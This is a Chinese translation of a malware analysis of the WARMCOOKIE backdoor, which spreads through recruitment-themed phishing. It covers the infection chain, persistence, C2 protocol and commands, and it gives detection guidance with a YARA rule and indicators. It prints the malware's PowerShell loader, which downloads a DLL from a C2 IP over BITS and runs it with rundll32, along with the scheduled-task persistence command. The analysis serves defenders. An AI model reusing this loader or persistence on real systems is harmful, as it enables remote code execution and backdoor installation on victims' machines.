【翻译】以招聘为主题的网络钓鱼活动-WARMCOOKIE后门分析
字数 1669 2025-08-22 12:23:13
WARMCOOKIE后门分析与防御指南
概述
WARMCOOKIE是一种新型Windows后门程序,自2024年4月下旬以来被用于以招聘为主题的网络钓鱼活动(代号REF6127)。该后门主要用于受害者网络侦查和部署额外有效载荷,具有指纹识别、屏幕截图捕获和文件操作等功能。
感染链分析
初始攻击向量
- 钓鱼邮件:攻击者发送伪装成招聘公司的电子邮件,包含个人姓名和当前雇主信息
- 诱导点击:邮件中包含指向"职位描述"的恶意链接
- 着陆页面:受害者被重定向到看似合法的页面,要求通过验证码挑战下载文档
载荷投递
- JavaScript下载:通过验证后下载混淆的JavaScript文件(如Update_23_04_2024_5689382.js)
- PowerShell执行:JavaScript运行PowerShell脚本,利用BITS服务下载WARMCOOKIE后门
start-job {
param ( $a )
Import-Module BitsTransfer ;
$d = $env:temp + '\' + [System.IO.Path]::GetRandomFileName() ;
Start-BitsTransfer -Source 'http://80.66.88[.]146/data/5fb6dd81093a0d6812c17b12f139ce35' -Destination $d ;
if () { exit } ;
$p = $d + ',Start' ;
rundll32.exe $p ;
Start-Sleep -Seconds 10
} -Argument 0 | wait-job | Receive-Job
持久化机制
- 文件复制:将下载的DLL复制到
C:\ProgramData\RtlUpd\RtlUpd.dll - 计划任务:通过COM接口创建名为"RtlUpd"的计划任务,每10分钟运行一次
- 执行命令:
"C:\WINDOWS\system32\rundll32.exe" "C:\ProgramData\RtlUpd\RtlUpd.dll",Start /p
- 执行命令:
恶意软件功能分析
混淆技术
-
字符串加密:使用自定义RC4算法加密字符串
- 前4字节:字符串大小
- 接着4字节:RC4密钥
- 剩余字节:加密字符串
-
动态API加载:避免静态分析识别核心功能
-
内存清理:使用后立即清除解密字符串
反分析技术
-
处理器检查:
- 处理器数量≥4且内存≥0xF00时继续执行
- 处理器数量≥8时继续执行
- 内存>0x2000时继续执行
-
变种标识:每个样本包含硬编码的GUID标识符
指纹收集
收集以下系统信息:
- 卷序列号
- DNS域名
- 计算机名
- 用户名
通信机制
- C2协议:通过HTTP与硬编码IP通信
- 加密方式:RC4+Base64组合
- 校验和:使用CRC32校验和验证数据完整性
- 计算公式:
def calculate_checksum(str_input, str_len, i):
if i == 0:
i = 0xFFFFFFFF
if i == -1:
i = 0
for idx in range(0, str_len, 2):
v6 = str_input[idx] | (str_input[idx + 1] << 8)
for _ in range(16):
if (v6 ^ i) & 1:
i = ((i >> 1) ^ 0xEDB88320) & 0xFFFFFFFF
else:
i = (i >> 1) & 0xFFFFFFFF
v6 >>= 1
return ~i & 0xFFFFFFFF
- 数据结构:使用自定义结构发送初始请求
enum request_type{
REGISTRATION = 1,
COMMAND = 2
};
struct os_info{
int major_version;
int minor_version;
int build_number;
int version_calc;
};
struct initial_request{
int checksum_c2_message_data;
int checksum_volume_mutex;
int checksum_computer_name_username;
request_type request_type;
os_info os_ver;
int offset_to_dns_domain;
int size_base64_dns_domain;
int offset_to_base64_computer_name;
int size_base64_computer_name;
int offset_to_base64_username;
int size_base64_username;
char base64_dns_domain[]; // 可变长度数组
char base64_username[]; // 可变长度数组
char base64_computer_name[]; // 可变长度数组
};
命令功能
| 命令ID | 功能描述 |
|---|---|
| 1 | 获取受害者详细信息(IP地址、CPU信息) |
| 2 | 捕获屏幕截图 |
| 3 | 通过注册表枚举已安装程序 |
| 4 | 命令行执行(cmd.exe /c) |
| 5 | 写入文件 |
| 6 | 读取文件 |
| 10 | 删除计划任务持久化 |
检测与防御
YARA规则
rule Windows_Trojan_WarmCookie_7d32fa90 {
meta:
author = "Elastic Security"
creation_date = "2024-04-29"
last_modified = "2024-05-08"
os = "Windows"
arch = "x86"
threat_name = "Windows.Trojan.WarmCookie"
license = "Elastic License v2"
strings:
$seq_checksum = { 45 8D 5D ?? 45 33 C0 41 83 E3 ?? 49 8D 4E ?? 44 03 DB 41 8D 53 ?? }
$seq_string_decrypt = { 8B 69 04 48 8D 79 08 8B 31 89 6C 24 ?? 48 8D 4E ?? E8 }
$seq_filesearch = { 48 81 EC 58 02 00 00 48 8B 05 82 0A 02 00 48 33 C4 48 89 84 24 40 02 00 00 45 33 C9 48 8D 44 24 30 45 33 C0 48 89 44 24 20 33 C9 41 8D 51 1A FF 15 83 4D 01 00 85 C0 78 22 48 8D 4C 24 30 E8 1D }
$seq_registry = { 48 81 EC 80 02 00 00 48 8B 05 F7 09 02 00 48 33 C4 48 89 84 24 70 02 00 00 4C 89 B4 24 98 02 00 00 48 8D 0D 4D CA 01 00 45 33 F6 41 8B FE E8 02 4F 00 00 48 8B E8 41 B9 08 01 00 00 48 8D 44 24 }
$plain_str1 = "release.dll" ascii fullword
$plain_str2 = "\"Main Invoked.\"" ascii fullword
$plain_str3 = "\"Main Returned.\"" ascii fullword
$decrypt_str1 = "ERROR: Cannot write file" wide fullword
$decrypt_str2 = "OK (No output data)" wide fullword
$decrypt_str3 = "OK (See 'Files' tab)" wide fullword
$decrypt_str4 = "cmd.exe /c %ls" wide fullword
$decrypt_str5 = "Cookie:" wide fullword
$decrypt_str6 = "%ls\\*.*" wide fullword
condition:
(3 of ($plain*)) or (2 of ($seq*)) or 4 of ($decrypt*)
}
防御建议
-
预防措施:
- 监控可疑的PowerShell下载行为
- 检测异常进程创建计划任务
- 警惕通过Windows脚本执行的PowerShell
- 监控通过BITS下载的DLL文件
- 检测带有异常参数的RunDLL32/Regsvr32调用
-
检测指标:
- 文件路径:
C:\ProgramData\RtlUpd\RtlUpd.dll - 计划任务名称:"RtlUpd"
- C2服务器IP:185.49.69.41, 80.66.88.146
- 钓鱼域名:assets.work-for[.]top, omeindia[.]com
- 文件路径:
MITRE ATT&CK映射
| 战术 | 技术 |
|---|---|
| 初始访问 | 网络钓鱼 |
| 执行 | 用户执行:恶意链接 命令和脚本解释器:PowerShell |
| 防御规避 | 混淆文件或信息 |
| 侦查 | 系统信息发现 屏幕截图 |
| 命令与控制 | 计划任务/工作 非标准端口 |
| 渗透 | 数据压缩 通过命令和控制通道渗出 |
附录
IDA字符串解密工具
Elastic Security Labs提供了用于解密WARMCOOKIE字符串的IDAPython脚本,可帮助分析人员识别关键功能。